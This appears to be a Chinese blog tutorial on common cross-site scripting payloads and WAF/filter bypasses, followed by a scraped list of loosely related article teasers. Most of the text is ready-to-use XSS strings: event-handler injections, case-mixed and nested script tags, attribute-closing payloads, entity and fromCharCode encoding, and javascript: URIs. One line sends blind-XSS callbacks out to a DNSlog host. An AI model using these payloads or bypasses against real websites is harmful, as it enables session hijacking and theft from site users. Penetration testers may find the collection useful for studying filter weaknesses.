常用xss代码以及绕过
常规的xss代码 一般打xss就是闪电五连鞭,一下几个代码首选一顿操作就完事儿
"OnMoUsEoVeR=prompt(6)//"><script>alert(/6/)</script>"><iMg SrC=1 oNeRrOr=prompt(6)><video SrC=1 onerror=prompt(6);><script>confirm(6);</script>'onfocus=alert(1)// # 事件型<a href=javascript:alert(1)> # 点击a即可触发<img src=x onerror=alert(1)> # src是错误的 就会调用error函数'"><script>console.log(1)</script> # 目标如果定义了console.log才能弹
如果目标是无回显xss的话就用dnslog外带方式来插入
<img src=# οnerrοr=http://dnslog地址/aaa> 无回显xss外带dnslog
打完从dnslog看回显即可
如果目标这个时候有waf呢?怎么办? (当然是关机啦!)
开个玩笑,下面就是讲绕如何绕waf
实际应用中web程序往往会通过一些过滤规则来防止代有恶意代码的用户输入被显示。
当上述代码被注入到输入框或者URL参数中时,可能会成功也可能会失败,如果失败了,并不意味着网站不存在XSS漏洞,需要对其进行绕过等方式发掘安全漏洞
某些网站仅仅过滤了<script>标签,而忽略了大小写替换同样可以造成浏览器触发XSS。具体方式为测试语句:
http://192.168.0.12/js/example6.php?name=<sCript>alert("6")</scRipt>
当网站设置过滤规则时,可以触发XSS的关键字(<script>)被进行了过滤。
在查看网页源代码时,script标签被去除掉了,于是我们就可以人为的制造一种巧合,让过滤完script标签后的语句中还有script标签(毕竟alert函数还在),像这样:
http://192.168.0.12/js/example6.php?name=<sCri<script>pt>alert("6")</scRi</script>pt>
当script标签被完全过滤时,这时可以尝试使用其它标签来构造XSS。
这里以<img>标签进行说明:
http://192.168.0.12/js/example6.php?name=<img src='w.123' onerror='alert("6")'>
如果在查看页面的源代码的过程中,发现输入的字符串或者输入字符串的部分,那么就可以设法通过闭合字符串的方式来测试XSS漏洞。
比如,我们所输入的字符串被放入到<input>标签中:
<INPUT type="text" value='<SCRIPT>alert("VK")</SCRIPT>'/>
那么我们可以修改输入来闭合<input>标签,执行script脚本。
当我们表单中输入:
'/><SCRIPT>alert("XSS")</SCRIPT>
可以发现我们的代码执行了,说明此处存在XSS漏洞。
同样的例子,但是我们假设管理员在我们的单引号之前放置了一个“\”,有时候双引号之前也会放置,通过一些类似add_slashes的函数可以实现,这个就是转义字符,我们先前的代码就会变成这样:
<INPUT type="text"value='\'><SCRIPT>alert(\"VK\")</SCRIPT>'>
有一些方法可以继续,但是要看过滤的那个函数是怎么放的了。
其中一个方法就是使用字符实体,学过html的都知道,就是一些特殊字符会用一些固有的符号组合来表示。
举个例子,你不能用<>表示大于和小于,因为这被解释为html标签,但是,你如果要用,可以用下面的来代替。
实体编码 | HTML编码 | 对应符号 | 实际意义 |
" | &quto; | " | 双引号 |
& | & | & | &符号 |
< | < | < | 小于号 |
> | > | > | 大于号 |
使用"或者"来代替我们的双引号,有时候可以绕过过滤。例子:
<script>alert("XSS")</script><script>alert("XSS")</script><script>alert(&XSS&)</script>
如果这都被过滤了,那我们可以使用JavaScript的fromCharCode函数,这个函数把指定的Unicode值转换成字符串。
举个栗子:
<script>alert("XSS")</script><script>alert(String.fromCharCode(88,83,83))</script><INPUT type="text"value='\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'>
在使用XSS编码测试时,需要考虑HTML渲染的顺序,特别是针对多种编码组合时,要选择合适的编码方式进行测试。
当浏览器接受到一份HTML代码后,会对标签之间(<p>xxx</p>等,<script>除外)、标签的属性中(<a href='xxxx'>)进行实体字符解码变为相应的字符,而不会发挥出其本来该有的功能。
如:<被解码为<后仅被当作字符,而不会被当成标签名的起始。既然是字符串,那在href='xx'这些属性值本来就是字符串的地方可以作为一种可能的绕过的手段。
<a href="javascript:alert(1)"></a>
被解释后为<a href="javascript:alert(1)"></a>,可以弹窗。
总之,在进行XSS注入测试的时候要关注标签的闭合,这跟sql语句的闭合是差不多的,不过这个变成了HTML标签。
此外思路要发散,通过语句跟绕过方式的不同搭配来构造payload,比如说当浏览器对script进行了转义的时候,我们可以尝试用其他标签来构造,当on被转义的时候,我们可以采用伪协议的方式构造即javascript:,总之在构建payload的时候要发散思维。
常用xss代码以及绕过相关推荐
- xss绕过php,php云人才系统多处Xss漏洞(绕过360防护)
### 简要描述: php云人才系统多处Xss漏洞(绕过360),可影响后台及其他用户. 360防护挂掉了,这该怎么办.. ### 详细说明: 虽然php云人才系统里加入360防注入脚本,对于一般的x ...
- xss往html插入js代码,XSS代码触发条件,插入XSS代码的常用方法
1.脚本插入 (1)插入javascript和vbscript正常字符. 例1: 例2: '/在表格中插入脚本 例3: (2)转换字符类型.将javascript或vbscript中的任一个或全部字符 ...
- 20. 存储型XSS入门 [套现绕过富文本]
作者:心伤的瘦子 来自:PKAV技术宅社区 网址:http://www.pkav.net ------------------------------------------------------- ...
- SAP MM 不常用事务代码MIDO
SAP MM 不常用事务代码MIDO SAP MM模块盘点流程里有一个不常用的事务代码MIDO (Physical Inventory Overview).在项目实践中,笔者之前基本没有去关注过这个事 ...
- SAP MM 初阶之不常用事务代码MEBV
SAP MM 初阶之不常用事务代码MEBV 今天从一个同行那里听到事务代码MEBV(extend agreement),可以用于在年底的时候顺延或者说扩展合同的.这个事务代码笔者从未用过,也没有听说过 ...
- SAP MM 不常用事务代码之MB59
SAP MM 不常用事务代码之MB59 今日笔者偶然发现SAP MM模块有MB59这个事务代码,所以就好奇去执行它看看界面和结果是什么样的. 执行MB59后才发现,它界面和功能跟MM顾问很常用很熟悉的 ...
- SAP MM 不常用事务代码之MBSL - Copy Material Document
SAP MM 不常用事务代码之MBSL - Copy Material Document 闲来无事的时候,笔者喜欢在SAP系统里捣鼓捣鼓.SAP设计的那些不常用/没关注过的事务代码,字段等,总能引起笔 ...
- android 常用混淆,Android常用的代码混淆整理【原创】
android里的代码混淆是比不可少的东西,下面就贴一些常用的代码混淆. #指定代码的压缩级别 -optimizationpasses 5 #包明不混合大小写 -dontusemixedcasecla ...
- 常用jQuery代码分享
为什么80%的码农都做不了架构师?>>> 常用jQuery代码分享 1.查看浏览器信息 navigator.userAgent 检索浏览器信息包括哪些字符 例如: if (na ...
最新文章
- 利用脑机接口从鸟的脑电波中重现鸟唱歌声
- 警惕ASP网站Global.asa导致网站被挂马或转向
- iOS-开发记录-UIView属性
- Spark 实时电商数据分析及可视化
- 用香港服务器建收费网站,使用香港站群服务器搭建网站的好处有哪些?
- mysql查看sql代价_mysql 代价
- 神经网络中的Softmax激活函数
- UDP协议相关及报文格式
- ExpandListView onChildClickListener 失效
- (转)收集 Spring Boot 相关的学习资料,Spring Cloud点这里 重点推荐:Spring Boot 中文索引...
- JavaScript数字精度丢失问题总结
- 【图像重建】基于matlab迭代步长自适应图像超分辨重建【含Matlab源码 048期】
- 快速掌握粒子编辑器 —— onebyonedesign网页版
- 010editor 过期处理
- IT 工作中常用的英语单词
- pygame编写飞机大战(9)-播放爆炸动画
- DFS序——树链剖分前驱知识
- S5PV210裸机之串口
- hfs2.3中文版快速搭建http文件下载服务器系统——墨涩网
- jQuery如何向HTML添加指定的内容